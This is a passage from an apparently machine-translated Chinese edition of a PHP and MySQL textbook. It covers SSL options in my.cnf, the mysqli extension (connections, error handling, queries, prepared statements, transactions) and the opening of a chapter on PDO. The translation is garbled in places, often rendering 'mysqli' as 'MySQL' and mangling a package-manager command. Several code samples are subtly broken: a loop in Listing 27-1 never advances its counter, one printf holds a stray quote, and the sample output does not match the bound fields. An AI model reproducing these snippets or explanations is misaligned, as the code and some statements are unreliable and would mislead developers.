->--ssl-key=$SSL/client-key.pem -u jason -h www.wjgilmore.com -p

同样,$SSL指的是指向 SSL 证书存储位置的路径。

将 SSL 选项存储在 my.cnf 文件中

当然,您不必通过命令行传递 SSL 选项。相反,您可以将它们放在一个my.cnf文件中。下面是一个示例my.cnf文件:

[client]
ssl-ca     = /home/jason/ssl/cacert.pem
ssl-cert   = /home/jason/ssl/client-cert.pem
ssl-key    = /home/jason/ssl/client-key.pem

[mysqld]
ssl-ca     = /usr/local/mysql/ssl/ca.pem
ssl-cert   = /usr/local/mysql/ssl/cert.pem
ssl-key    = /usr/local/mysql/openssl/key.pem

摘要

一次不请自来的数据库入侵可能会抹去数月的工作成果和不可估量的价值。因此,尽管本章涵盖的主题通常缺乏其他专业技能的魅力,例如创建数据库连接和改变表结构,但是花时间彻底理解这些安全主题的重要性怎么强调都不为过。强烈建议您花足够的时间了解 MySQL 的安全特性,因为它们应该在所有 MySQL 驱动的应用中定期出现。

下一章将介绍 PHP 的 MySQL 库,向您展示如何通过 PHP 脚本操作 MySQL 数据库数据。那一章之后是 MySQLi 库的介绍,如果你运行的是 PHP 5 和 MySQL 4.1 或更高版本,应该会用到它。

二十七、使用 PHP 和 MySQL

MySQL 是一个关系数据库引擎/工具,它允许开发人员使用一种叫做结构化查询语言(SQL)的东西来与数据库进行交互。SQL 可用于执行两种类型的任务。第一种类型是在数据库中创建 alter 或 drop 对象。这些对象是表、视图、过程、索引等。第二种类型的命令用于通过选择、插入、更新或删除表中的行来与数据进行交互。表格可以比作包含行和列的电子表格。每一列都有一个名称、一个数据类型、一个长度以及其他定义如何处理数据的标志。尽管 SQL 被许多不同的数据库系统使用,但它们并不都遵循相同的语法或支持相同的特性;然而,它们中的大多数都遵循名为 SQL92 的标准,并具有许多自定义特性。这方面的一个例子是 MySQL 的 filed 选项AUTO_INCREMENT。当此选项应用于表中的整数列时,数据库将在每次向表中添加行时自动为该列赋值,除非 insert 语句为该列提供了值。其他数据库使用DEFAULT UNIQUE (FrontBase)或者IDENTITY() (SQL Server)。Oracle 数据库要求创建一个序列,然后使用该序列在插入时创建一个唯一值。这些差异使得编写在不同数据库系统上运行的代码变得困难。

PHP 几乎从项目一开始就支持 MySQL,包括版本 2 的 API。事实上,在 PHP 中使用 MySQL 最终变得如此普遍,以至于几年来该扩展都是默认启用的。但也许这两个技术阵营之间紧密联系的最有力证据是 PHP 5 的最新 MySQL 扩展的发布,被称为 MySQL 改进版(通常被称为MySQL)。

那么,为什么需要新的扩展呢?原因是双重的。首先,MySQL 的快速发展阻止了依赖原始扩展的用户利用新特性,如预准备语句、高级连接选项和安全性增强。第二,虽然最初的扩展确实为程序员提供了很好的服务,但许多人认为过程接口已经过时,他们更喜欢原生的面向对象的接口,这种接口不仅可以与其他应用更紧密地集成,还可以根据需要提供扩展该接口的能力。为了解决这些缺陷,MySQL 开发人员决定是时候改进扩展了,不仅改变其内部行为以提高性能,还加入了额外的功能以方便使用只有这些较新的 MySQL 版本才有的功能。主要增强功能的详细列表如下:

  • 面向对象(Object oriented):mysqli 扩展封装在一系列类中,鼓励使用许多人认为比 PHP 的传统过程方法更方便、更有效的编程范例。然而,那些喜欢接受过程化编程范例的人并不倒霉,因为它也提供了一个传统的过程化接口(尽管本章不会涉及)。

  • 准备好的语句:准备好的语句消除了重复执行查询时的开销和不便,这在构建数据库驱动的网站时很常见。准备好的声明还提供了另一个重要的与安全相关的功能,因为它们可以防止 SQL 注入攻击。

  • 事务支持:虽然 PHP 最初的 MySQL 扩展中提供了 MySQL 的事务功能,但是 MySQL 扩展为这些功能提供了一个面向对象的接口。本章介绍了相关方法,第三十四章提供了对该主题的完整讨论。

  • 增强的调试能力:mysqli 扩展提供了许多调试查询的方法,从而提高了开发过程的效率。

  • 嵌入式服务器支持:嵌入式 MySQL 服务器库在 4.0 版本中推出,适用于对在 kiosk 或桌面程序等客户端应用中运行完整的 MySQL 服务器感兴趣的用户。mysqli 扩展提供了连接和操作这些嵌入式 MySQL 数据库的方法。

  • 主/从支持:从 MySQL 3.23.15 开始,MySQL 提供了对复制的支持,尽管在以后的版本中这个特性已经有了很大的改进。使用 mysqli 扩展,您可以确保在复制配置中将写查询定向到主服务器。

安装先决条件

从 PHP 5 开始,MySQL 支持不再与标准 PHP 发行版捆绑在一起。因此,您需要显式地配置 PHP 来利用这个扩展。在本节中,您将学习如何在 Unix 和 Windows 平台上实现这一点。

在 Linux/Unix 上启用 mysqli 扩展

在 Linux/Unix 平台上启用 mysqli 扩展是通过使用--with-mysqli标志配置 PHP 来完成的。这个标志应该指向 MySQL 4.1 和更高版本可用的mysql_config程序的位置。有了今天可用的包管理器,不再需要从源代码编译 PHP 和扩展。为了启用 mysqli 扩展,只需使用 yum install php_mysql 或 get get php _ mysql 命令。这通常会将 mysqli 安装为一个共享对象,您必须通过在 php.ini 文件中添加以下行来启用该扩展:

extension=php_mysqli.so

在 Windows 上启用 mysqli 扩展

要在 Windows 上启用 mysqli 扩展,您需要从php.ini文件中取消对以下行的注释,如果它不存在,则添加它:

extension=php_mysqli.dll

在启用任何扩展之前,确保 PHP 的extension_dir指令指向适当的目录。关于配置 PHP 的更多信息,参见第二章。

使用 MySQL 本地驱动程序

历史上,PHP 要求在与 MySQL 通信的服务器上安装一个 MySQL 客户端库,无论 MySQL 服务器是位于本地还是其他地方。PHP 5.3 通过引入一个名为 MySQL Native Driver(也称为 mysqlnd)的新的 MySQL 驱动程序消除了这种不便,它提供了许多优于其前身的优势。mysql 本地驱动程序不是一个新的 API,而是一个新的管道,现有的 API(MySQL、MySQL 和 PDO_MySQL)可以使用它来与 MySQL 服务器通信。用 C 编写,紧密集成到 PHP 的架构中,并在 PHP 许可下发布,我推荐使用 mysqlnd,除非你有很好的理由不这样做。

要将 mysqlnd 与一个现有的扩展结合使用,您需要重新编译 PHP,包括一个适当的标志。例如,要将 mysqli 扩展与 mysqlnd 驱动程序结合使用,请传递以下标志:

--with-mysqli=mysqlnd

如果您计划同时使用 PDO_MySQL 和 MySQL 扩展,那么在编译 PHP 时,没有什么可以阻止您同时指定这两个扩展:

%>./configure --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd [other options]

像往常一样,用包管理器安装 PHP 和 MySQL 会解决这个问题。大多数情况下,不需要编译 PHP 或者驱动。

管理用户权限

PHP 与 MySQL 交互的约束与任何其他接口所需的约束没有什么不同。打算与 MySQL 通信的 PHP 脚本仍然必须连接到 MySQL 服务器,并选择一个数据库进行交互。除了按照这种顺序的查询之外,所有这些操作只能由拥有足够权限的用户来执行。

当脚本启动到 MySQL 服务器的连接时,以及每次提交需要权限验证的命令时,这些权限都会被传递和验证。但是,您只需要在连接时识别执行用户;除非稍后在脚本中建立了另一个连接,否则在脚本执行的剩余时间里将假定该用户的身份。在接下来的小节中,您将学习如何连接到 MySQL 服务器并传递这些凭证。

使用示例数据

当概念伴随着一系列连贯的例子时,学习一个新的主题往往会变得更容易。因此,位于名为公司的数据库中的下表产品用于以下页面中的所有相关示例:

CREATE TABLE products (
   id INT NOT NULL AUTO_INCREMENT,
   sku VARCHAR(8) NOT NULL,
   name VARCHAR(100) NOT NULL,
   price DECIMAL(5,2) NOT NULL,
   PRIMARY KEY(id)
)

该表由以下四行填充:

+-------+----------+-----------------------+-------+
| id    | sku      | name                  | price |
+-------+----------+-----------------------+-------+
|     1 | TY232278 | AquaSmooth Toothpaste |  2.25 |
|     2 | PO988932 | HeadsFree Shampoo     |  3.99 |
|     3 | ZP457321 | Painless Aftershave   |  4.50 |
|     4 | KL334899 | WhiskerWrecker Razors |  4.17 |
+-------+----------+-----------------------+-------+

使用 mysqli 扩展

PHP 的 MySQL 扩展提供了其前身所提供的所有功能,此外还增加了一些新功能,这些功能是 MySQL 发展成为全功能数据库服务器的结果。本节将介绍所有的特性,向您展示如何使用 mysqli 扩展连接到数据库服务器、查询和检索数据,以及执行各种其他重要任务。

建立和断开连接

与 MySQL 数据库的交互由连接建立和拆除来完成,分别包括连接到服务器和选择数据库,以及关闭连接。正如 mysqli 几乎所有可用的特性一样,您可以通过使用面向对象的方法或过程方法来实现这一点,尽管在本章中只讨论了面向对象的方法。

如果您选择使用面向对象的接口与 MySQL 服务器交互,您需要首先通过它的构造函数实例化 mysqli 类:

mysqli([string host [, string username [, string pswd
                    [, string dbname [, int port, [string socket]]]]]])

实例化类是通过标准的面向对象实践完成的:

$mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');

一旦建立了连接,您就可以开始与数据库交互了。如果您需要连接到另一个数据库服务器或选择另一个数据库,您可以使用connect()select_db()方法。connect()方法接受与构造函数相同的参数,所以让我们直接看一个例子:

// Instantiate the mysqli class
$mysqli = new mysqli();

// Connect to the database server and select a database
$mysqli->connect('localhost', 'catalog_user', 'secret', 'corporate');

您也可以使用$mysqli->select_db方法选择一个数据库。以下示例连接到 MySQL 数据库服务器,然后选择corporate数据库:

// Connect to the database server
$mysqli = new mysqli('localhost', 'catalog_user', 'secret');

// Select the database
$mysqli->select_db('corporate');

一旦成功选择了一个数据库,就可以对它执行数据库查询。执行查询,比如使用 mysqli 扩展选择、插入、更新和删除信息,将在后面的章节中介绍。

一旦脚本执行完毕,任何打开的数据库连接都会自动关闭,资源也会被回收。然而,在整个执行过程中,一个页面可能需要几个数据库连接,每个连接都应该适当地关闭。即使在使用单个连接的情况下,在脚本结束时关闭它也是一个好的做法。在任何情况下,close()负责关闭连接。下面是一个例子:

$mysqli = new mysqli();
$mysqli->connect('localhost', 'catalog_user', 'secret', 'corporate');

// Interact with the database…

// close the connection
$mysqli->close()

处理连接错误

当然,如果您无法连接到 MySQL 数据库,那么页面上的其他内容将不会按计划进行。因此,您应该小心监视连接错误并做出相应的反应。mysqli 扩展包括一些可以用来捕获错误消息的特性,或者你可以使用异常(如第八章所介绍的)。例如,您可以使用mysqli_connect_errno()mysqli_connect_error()方法来诊断和显示关于 MySQL 连接错误的信息。

正在检索错误信息

开发人员总是朝着被称为无 bug 代码的天堂努力。然而,在除了最琐碎的项目之外的所有项目中,这种渴望几乎总是得不到满足。因此,正确地检测错误并向用户返回有用的信息是高效软件开发的重要组成部分。本节介绍两个函数,这两个函数对于解释和交流 MySQL 错误非常有用。

检索错误代码

错误号通常用来代替自然语言消息,以简化软件国际化工作,并允许定制错误消息。$ errno$connect_errno属性包含执行最后一个 MySQL 函数生成的错误代码,如果没有错误发生,则包含0。当连接函数调用出错时,使用$connect_errno属性。其原型如下:

class mysqli {
    int $errno;
    int $connect_errno;
}

下面是一个例子:

<?php
  $mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');
  printf("Mysql error number generated: %d", $mysqli->connect_errno);
?>

这将返回:

Mysql error number generated: 1045

检索错误消息

属性$ error$connect_error包含最近生成的错误消息,如果没有发生错误,则为空字符串。其原型如下:

class mysqli {
    string $error;
    string $connect_error;
}

消息语言依赖于 MySQL 数据库服务器,因为目标语言在服务器启动时作为一个标志传入。以下是英语消息的示例:

Sort aborted
Too many connections
Couldn't uncompress communication packet

下面是一个例子:

<?php

    // Connect to the database server
    $mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');

    if ($mysqli->connect_errno) {
        printf("Unable to connect to the database:<br /> %s",
                 $mysqli->connect_error);
        exit();
    }

?>

例如,如果提供了不正确的密码,您会看到以下消息:

Unable to connect to the database:
Access denied for user 'catalog_user'@'localhost' (using password: YES)

当然,MySQL 的预设错误消息向最终用户显示起来可能有点难看,所以您可以考虑将错误消息发送到您的电子邮件地址,而不是在这种情况下显示一条更加用户友好的消息。

小费

MySQL 的错误信息有 20 种语言,存储在MYSQL-INSTALL-DIR/share/mysql/LANGUAGE/中。

将连接信息存储在单独的文件中

本着安全编程实践的精神,定期更改密码通常是个好主意。然而,因为必须在每个需要访问给定数据库的脚本中建立到 MySQL 服务器的连接,所以连接调用可能分散在大量文件中,使得这样的更改很困难。解决这一难题的简单方法并不令人惊讶——将这些信息存储在一个单独的文件中(位于 web 根目录之外),然后根据需要将该文件包含在您的脚本中。例如,mysqli 构造函数可能存储在名为mysql.connect.php的头文件中,如下所示:

<?php
    // Connect to the database server
    $mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');
?>

然后可以根据需要包含该文件,如下所示:

<?php
    require 'mysql.connect.php';
    // begin database selection and queries.
?>

保护您的连接信息

如果您是使用数据库和 PHP 的新手,那么当您了解到像 MySQL 连接参数(包括密码)这样重要的信息以纯文本的形式存储在一个文件中时,可能会感到非常不安。尽管如此,您可以采取一些步骤来确保不速之客无法获取这些重要数据:

  • 使用基于系统的用户权限来确保只有拥有 web 服务器守护进程的用户才能读取该文件。在基于 Unix 的系统上,这意味着将文件所有权更改为运行 web 进程的用户的所有权,并将连接文件权限设置为 400(只有所有者拥有读取权限)。

  • 如果您连接到远程 MySQL 服务器,请记住,除非在传输过程中采取适当的步骤对数据进行加密,否则这些信息将以明文形式传递。最好的办法是使用安全套接字层(SSL)加密。

  • 有几种脚本编码产品可以让除了拥有必要解码权限的人之外的所有人都无法读取您的代码,同时代码的执行能力不受影响。Zend Guard ( www.zend.com )和 ionCube PHP 编码器( www.ioncube.com )可能是最知名的解决方案,尽管还有其他几个产品。请记住,除非您有对源代码进行编码的特殊原因,否则您应该考虑其他保护替代方案,例如操作系统目录安全性,因为它们在大多数情况下都非常有效。此外,编码器不兼容。如果您将编码代码分发到另一台服务器,则必须在该服务器上安装相同的编码产品以确保执行。

与数据库交互

绝大多数查询都围绕着创建、检索、更新和删除任务,统称为 CRUD。本节将向您展示如何制定这些查询并将其发送到数据库以供执行。

向数据库发送查询

方法query()负责将查询发送到数据库。它的原型是这样的:

class mysqli {
    mixed query(string query [, int resultmode])
}

可选的resultmode参数用于修改该方法的行为,接受两个值:

  • MYSQLI_STORE_RESULT:将结果作为缓冲集返回,这意味着整个集合将立即可用于导航。这是默认设置。虽然这个选项的代价是增加了内存需求,但它允许您一次处理整个结果集,这在您试图分析或管理结果集时非常有用。例如,您可能希望确定特定查询返回了多少行,或者您可能希望立即跳转到集合中的特定行。

  • MYSQLI_USE_RESULT:将结果作为无缓冲集合返回,这意味着将根据需要从服务器检索集合。无缓冲的结果集提高了大型结果集的性能,但是它们不允许对结果集执行各种操作,例如立即确定查询找到了多少行,或者移动到特定的行偏移量。当您试图检索大量的行时,应该考虑使用此选项,因为它需要较少的内存并产生更快的响应时间。

检索数据

您的应用很可能会花费大部分精力来检索和格式化所请求的数据。为此,您将向数据库发送SELECT查询,然后迭代结果,将每一行输出到浏览器,以您喜欢的任何方式格式化。

以下示例从 products 表中检索 sku、name 和 price 列,并按name对结果进行排序。然后,每行结果被放入三个适当命名的变量中,并输出到浏览器。

<?php

    $mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');

    // Create the query
    $query = 'SELECT sku, name, price FROM products ORDER by name';

    // Send the query to MySQL
    $result = $mysqli->query($query, MYSQLI_STORE_RESULT);

    // Iterate through the result set
    while(list($sku, $name, $price) = $result->fetch_row())
        printf("(%s) %s: \$%s <br />", $sku, $name, $price);

?>

执行此示例会产生以下浏览器输出:

(TY232278) AquaSmooth Toothpaste: $2.25
(PO988932) HeadsFree Shampoo: $3.99
(ZP457321) Painless Aftershave: $4.50
(KL334899) WhiskerWrecker Razors: $4.17

请记住,使用无缓冲集执行这个示例表面上看起来是一样的(除了resultmode将被设置为MYSQLI_USE_RESULT),但是底层行为实际上是不同的。

插入、更新和删除数据

网络最强大的特征之一是它的读写格式;您不仅可以轻松发布信息进行展示,还可以邀请访问者添加、修改甚至删除数据。在第十三章中,你学习了如何使用 HTML 表单和 PHP 来达到这个目的,但是想要的动作是如何到达数据库的呢?通常,这是使用 SQL INSERT、UPDATE 或 DELETE 查询来完成的,其完成方式与 SELECT 查询完全相同。例如,要从products表中删除 AquaSmooth 牙膏条目,请执行以下脚本:

<?php

    $mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');

    // Create the query
    $query = "DELETE FROM products WHERE sku = 'TY232278'";

    // Send the query to MySQL
    $result = $mysqli->query($query, MYSQLI_STORE_RESULT);

    // Tell the user how many rows have been affected
    printf("%d rows have been deleted.", $mysqli->affected_rows);

?>

当然,如果连接用户的凭证足够充分(参见第二十六章了解更多关于 MySQL 特权系统的信息),您可以自由地执行任何查询,包括创建和修改数据库、表和索引,甚至执行 MySQL 管理任务,比如创建和分配用户特权。

回收查询内存

当您检索一个特别大的结果集时,一旦您完成了对它的处理,就有必要回收该结果集所需的内存。free()方法为您处理这项任务。它的原型是这样的:

class mysqli_result {
    void free()
}

free()方法回收结果集消耗的所有内存。请记住,一旦执行了这个方法,结果集就不再可用。下面是一个例子:

<?php

    $mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');

    $query = 'SELECT sku,  name,  price FROM products ORDER by name';

    $result = $mysqli->query($query, MYSQLI_STORE_RESULT);

    // Iterate through the result set
    while(list($sku, $name, $price) = $result->fetch_row())
        printf("(%s) %s: \$%s <br />", $sku, $name, $price);

    // Recuperate the query resources
    $result->free();
    // Perhaps perform some other large query

?>

解析查询结果

一旦查询执行完毕,结果集准备就绪,就该解析检索到的行了。您可以使用几种方法来检索组成每行的字段;您选择哪一个很大程度上取决于您的偏好,因为只有引用字段的方法不同。

将结果提取到对象中

因为您可能使用 mysqli 的面向对象语法,所以以面向对象的方式管理结果集是有意义的。您可以使用fetch_object()方法来实现。其语法如下:

class mysqli_result {
   array fetch_object()
}

fetch_object()方法通常在循环中调用,每次调用都会导致返回结果集中的下一行填充一个对象。然后根据 PHP 典型的对象访问语法来访问这个对象。下面是一个例子:

<?php

$query = 'SELECT sku, name, price FROM products ORDER BY name';
$result = $mysqli->query($query);

while ($row = $result->fetch_object())
{
    printf("(%s) %s: %s <br />", $row->sku, $row->name, $row->price)";
}

?>

使用索引和关联数组检索结果

mysqli 扩展还提供了分别使用fetch_array()fetch_row()方法使用关联数组和索引数组管理结果集的能力。他们的原型如下:

class mysqli_result {
    mixed fetch_array ([int resulttype])
}
class mysqli_result {
   mixed fetch_row()
}

fetch_array()方法实际上能够以关联数组、数字索引数组或两者的形式检索结果集的每一行,所以本节只演示fetch_array()方法,而不是两种方法,因为概念是相同的。默认情况下,fetch_array()检索两个数组;您可以通过将以下值之一作为resulttype传入来修改这个默认行为:

  • MYSQLI_ASSOC:以关联数组的形式返回行,键由字段名表示,值由字段内容表示。

  • MYSQLI_NUM:以数字索引数组的形式返回行,其顺序由查询中指定的字段名称的顺序决定。如果使用星号代替特定的字段列表(发出检索所有字段的查询信号),排序将对应于表定义中的字段排序。指定该选项会导致fetch_array()以与fetch_row().相同的方式运行

  • MYSQLI_BOTH:以关联数组和数字索引数组的形式返回行。因此,可以根据索引偏移量和字段名来引用每个字段。这是默认设置。

例如,假设您只想使用关联索引检索结果集:

$query = 'SELECT sku, name FROM products ORDER BY name';
$result = $mysqli->query($query);
while ($row = $result->fetch_array(MYSQLI_ASSOC))
{
    echo "Product:  {$row[‘name’]} ({$row[‘sku’]}) <br />";
}

如果希望仅通过数字索引来检索结果集,可以对示例进行以下修改:

$query = 'SELECT sku, name, price FROM products ORDER BY name';
$result = $mysqli->query($query);
while ($row = $result->fetch_array(MYSQLI_NUM))
{
    printf("(%s) %s: %d <br />", $row[0], $row[1], $row[2]);
}

假设涉及相同的数据,前面两个示例的输出与query()简介中的示例相同。

确定选定的行和受影响的行

您通常希望能够确定 SELECT 查询返回的行数,或者受 INSERT、UPDATE 或 DELETE 查询影响的行数。本节中介绍的两种方法正好可以做到这一点。

确定返回的行数

当您想了解 SELECT 查询语句返回了多少行时,$ num_rows属性非常有用。其原型如下:

class mysqli_result {
    int $num_rows
}

例如:

$query = 'SELECT name FROM products WHERE price > 15.99';
$result = $mysqli->query($query);
printf("There are %f product(s) priced above \$15.99.", $result->num_rows);

示例输出如下:

There are 5 product(s) priced above $15.99.

请记住$ num_rows只对确定 SELECT 查询检索的行数有用。如果您想检索受插入、更新或删除查询影响的行数,可以使用下面介绍的affected_rows()

确定受影响的行数

此方法检索受插入、更新或删除查询影响的总行数。其原型如下:

class mysqli_result {
    int $affected_rows
}

下面是一个例子:

$query = "UPDATE product SET price = '39.99' WHERE price = '34.99'";
$result = $mysqli->query($query);
printf("There were %d product(s) affected.", $result->affected_rows);

示例输出如下:

There were 2 products affected.

使用准备好的语句

重复执行一个查询是很常见的,每次迭代使用不同的参数。然而,使用传统的query()方法和循环机制这样做是以开销和编码便利性为代价的,前者是因为重复解析几乎相同的查询的有效性,后者是因为每次迭代都需要使用新值重复重新配置查询。为了帮助解决重复执行查询带来的问题,MySQL 支持预准备语句,它可以以低得多的开销和更少的代码行完成上述任务。

有两种预准备语句可供选择:

  • Bound parameters:Bound-parameter 变量允许您在 MySQL 服务器上存储一个查询,只有变化的数据被重复发送到服务器并集成到查询中以供执行。例如,假设您创建了一个允许用户管理商店产品的 web 应用。为了快速启动初始过程,您可以创建一个 web 表单,接受多达 20 个产品名称、id、价格和描述。因为这些信息将使用相同的查询来插入(当然,数据除外),所以使用绑定参数准备语句是有意义的。

  • 绑定结果:通过将 PHP 变量绑定到相应的检索字段,然后在必要时使用这些变量,绑定结果变体允许您使用有时难以处理的索引或关联数组从结果集中提取值。例如,您可以将检索产品信息的 SELECT 语句中的 URL 字段绑定到名为$sku, $name, $price$description的变量。

在介绍了一些关键方法之后,我们将在稍后分析前面两种场景的工作示例。

准备要执行的语句

不管您使用的是绑定参数还是绑定结果准备语句变量,您都需要首先通过使用prepare()方法来准备要执行的语句。其原型如下:

class mysqli_stmt {
    boolean prepare(string query)
}

下面是部分示例。随着您对其他相关方法的了解越来越多,将提供更多的实际例子来充分说明这种方法的用法。

<?php
    // Create a new server connection
    $mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');

    // Create the query and corresponding placeholders
    $query = "SELECT sku, name, price, description
              FROM products ORDER BY sku";
    // Create a statement object
    $stmt = $mysqli->stmt_init();

    // Prepare the statement for execution
    $stmt->prepare($query);
    .. Do something with the prepared statement

    // Recuperate the statement resources
    $stmt->close();

    // Close the connection
    $mysqli->close();

?>

随着您对其他相关方法的了解越来越多,在前面的代码中“做某事…”具体指的是什么将变得显而易见,这些方法将在下面介绍。

执行准备好的语句

语句一旦准备好,就需要执行。具体何时执行取决于您是想要处理绑定参数还是绑定结果。在绑定参数的情况下,应该在参数被绑定后执行语句(使用本节后面介绍的bind_param()方法)。在绑定结果的情况下,您应该在使用bind_result()方法绑定结果之前执行该方法,这也将在本节稍后介绍。在这两种情况下,执行语句都是通过使用execute()方法来完成的。其原型如下:

class stmt {
    boolean execute()
}

参见后面对bind_param()bind_result()的介绍,了解execute()的实际例子。

回收准备好的语句资源

一旦您使用完一个准备好的语句,它所需要的资源可以用close()方法回收。其原型如下:

class stmt {
    boolean close()
}

参见前面对prepare()的介绍,了解这种方法的应用示例。

绑定参数

当使用绑定参数预备语句变量时,需要调用bind_param()方法将变量名绑定到相应的字段。其原型如下:

class stmt {
    boolean bind_param(string types, mixed &var1 [, mixed &varN])
}

类型参数表示每个变量的数据类型(由&var1,… &varN表示),需要确保在数据发送到服务器时对其进行最有效的编码。目前,有四种类型代码可用:

  • i:所有INTEGER类型

  • d:DOUBLEFLOAT类型

  • b:BLOB类型

  • s:所有其他类型(包括字符串)

绑定参数的过程最好用一个例子来解释。回到前面提到的涉及接受 20 个 URL 的 web 表单的场景,用于将这些信息插入 MySQL 数据库的代码可能类似于清单 27-1 中的代码。

<?php
    // Create a new server connection
    $mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');

    // Create the query and corresponding placeholders
    $query = "INSERT INTO products SET sku=?, name=?, price=?";

    // Create a statement object
    $stmt = $mysqli->stmt_init();

    // Prepare the statement for execution
    $stmt->prepare($query);

    // Bind the parameters
    $stmt->bind_param('ssd', $sku, $name, $price);

    // Assign the posted sku array
    $skuarray = $_POST['sku'];

    // Assign the posted name array
    $namearray = $_POST['name'];

    // Assign the posted price array
    $pricearray = $_POST['price'];

    // Initialize the counter
    $x = 0;

    // Cycle through the array, and iteratively execute the query
    while ($x < sizeof($skuarray)) {
        $sku = $skuarray[$x];
        $name = $namearray[$x];
        $price = $pricearray[$x];
        $stmt->execute();
    }

    // Recuperate the statement resources
    $stmt->close();

    // Close the connection
    $mysqli->close();

?>

Listing 27-1Binding Parameters with the mysqli Extension

除了查询本身之外,本例中的所有内容都应该非常简单。注意,问号被用作数据的占位符,即 sku、名称和价格。接下来调用bind_param()方法,将变量$sky, $name, and $price绑定到由问号表示的字段占位符,顺序与它们在方法中出现的顺序相同。这个查询被准备好并发送给服务器,此时每一行数据都准备好并发送给服务器使用execute()方法进行处理。与使用字符串连接自己构建字符串相比,绑定参数是向查询字符串注入值的更安全的方式。在删除 HTML 和脚本内容之前,您可能仍然需要清理 sanitize string 变量,但是您不必担心由于来自客户端的恶意内容而导致 SQL 语句格式错误。最后,一旦处理完所有的语句,就会调用close()方法来回收资源。

小费

如果表单值数组被传入脚本的过程不明显,参见第十三章了解解释。

绑定变量

准备并执行查询后,可以使用bind_result()方法将变量绑定到检索到的字段。其原型如下:

class mysqli_stmt {
    boolean bind_result(mixed &var1 [, mixed &varN])
}

例如,假设您想要返回在products表中找到的前 30 种产品的列表。清单 27-2 中的代码将变量$sku, $name$price绑定到查询语句中检索到的字段。

<?php

    // Create a new server connection
    $mysqli = new mysqli('localhost', 'catalog_user', 'secret', 'corporate');

    // Create query
    $query = 'SELECT sku, name, price FROM products ORDER BY sku';

    // Create a statement object
    $stmt = $mysqli->stmt_init();

    // Prepare the statement for execution
    $stmt->prepare($query);

    // Execute the statement
    $stmt->execute();

    // Bind the result parameters
    $stmt->bind_result($sku, $name, $price);

    // Cycle through the results and output the data

    while($stmt->fetch())
        printf("%s, %s, %s <br />", $sku, $name, $price);

    // Recuperate the statement resources
    $stmt->close();

    // Close the connection
    $mysqli->close();

?>

Listing 27-2Binding Results with the mysqli Extension

执行清单 27-2 会产生类似如下的输出:

A0022JKL, pants, $18.99, Pair of blue jeans
B0007MCQ, shoes, $43.99, black dress shoes
Z4421UIM, baseball cap, $12.99, College football baseball cap

从准备好的语句中检索行

fetch()方法从准备好的语句结果中检索每一行,并将字段分配给绑定的结果。其原型如下:

class mysqli {
    boolean fetch()
}

参见清单 27-2 中fetch()的运行示例。

使用其他准备好的语句方法

其他几种方法对于处理预准备语句也很有用;它们在表 27-1 中进行了总结。有关行为和参数的解释,请参考本章前面与它们同名的部分。

表 27-1

其他有用的预准备语句方法

|

方法/属性

|

描述

|
| --- | --- |
| affected_rows | 包含受由stmt对象指定的最后一条语句影响的行数的属性。注意这仅与插入、修改和删除查询相关。 |
| free() | 回收由stmt对象指定的语句消耗的内存。 |
| num_rows | 包含由stmt对象指定的语句检索的行数的属性。 |
| errno | 包含由stmt对象指定的最近执行的语句的错误代码的属性。 |
| connect_errno | 包含由connection对象指定的最近执行的语句的错误代码的属性。 |
| error | 包含由stmt对象指定的最近执行的语句的错误描述的属性。 |
| connect_error | 属性,包含由 connection 对象指定的最近执行的语句中的错误说明。 |

执行数据库事务

三种新方法增强了 PHP 执行 MySQL 事务的能力。因为第三十四章专门介绍在 PHP 驱动的应用中实现 MySQL 数据库事务,所以在本节中没有提供这个主题的详细介绍。相反,出于参考目的,介绍了与提交和回滚事务相关的三种方法。示例在第三十四章中提供。

启用自动提交模式

autocommit()方法控制 MySQL 自动提交模式的行为。其原型如下:

class mysqli {
    boolean autocommit(boolean mode)
}

通过mode传递一个值TRUE来启用自动提交,而FALSE禁用它,在这两种情况下,成功时返回TRUE,否则返回FALSE

提交交易

commit()方法将当前事务提交给数据库,如果成功则返回TRUE,否则返回FALSE。其原型如下:

class mysqli {
    boolean commit()
}

回滚事务

rollback()方法回滚当前事务,如果成功则返回TRUE,否则返回FALSE。其原型如下:

class mysqli {
    boolean rollback()
}

摘要

mysqli 扩展不仅提供了比它的老兄弟更多的功能,而且——当与新的 mysqlnd 驱动程序结合使用时——提供了无与伦比的稳定性和性能。

在下一章中,您将了解到关于 PDO 的所有内容,这是另一个强大的数据库接口,正日益成为许多 PHP 开发人员的理想解决方案。

二十八、PDO 介绍

虽然所有主流数据库一般都遵循 SQL 标准,尽管程度不同,但程序员与数据库交互所依赖的接口可能会有很大差异(即使查询基本相同)。因此,应用几乎总是绑定到特定的数据库,迫使用户也安装和维护所需的数据库,即使该数据库不如企业中已经部署的其他解决方案。例如,假设您的组织需要一个专门在 Oracle 上运行的应用,但是您的组织在 MySQL 上实现了标准化。您是否准备好投入大量资源来获得在任务关键型环境中运行所需的 Oracle 知识,然后在应用的整个生命周期中部署和维护该数据库?

为了解决这种困境,聪明的程序员开始开发数据库抽象层,目标是将应用逻辑与用于与数据库通信的逻辑分离。通过这个通用接口传递所有与数据库相关的命令,应用就可以使用几种数据库解决方案中的一种,前提是数据库支持应用所需的特性,并且抽象层提供了与该数据库兼容的驱动程序。图 28-1 显示了这一过程。

img/314623_5_En_28_Fig1_HTML.png

图 28-1

使用数据库抽象层来分离应用和数据层

您可能听说过一些更广泛的实现:

  • JDBC:顾名思义,Java 数据库连接(JDBC)标准允许 Java 程序与任何有 JDBC 驱动程序的数据库进行交互。其中包括 FrontBase、Microsoft SQL Server、MySQL、Oracle 和 PostgreSQL。

  • ODBC :开放数据库连接(ODBC)接口是当今使用最广泛的抽象实现之一,受到包括 PHP 在内的各种应用和语言的支持。所有主流数据库都提供 ODBC 驱动程序,包括上面 JDBC 介绍中提到的那些。

  • Perl DBI:Perl 数据库接口模块是 Perl 与数据库通信的标准化手段,也是 PHP DB 包背后的灵感来源。

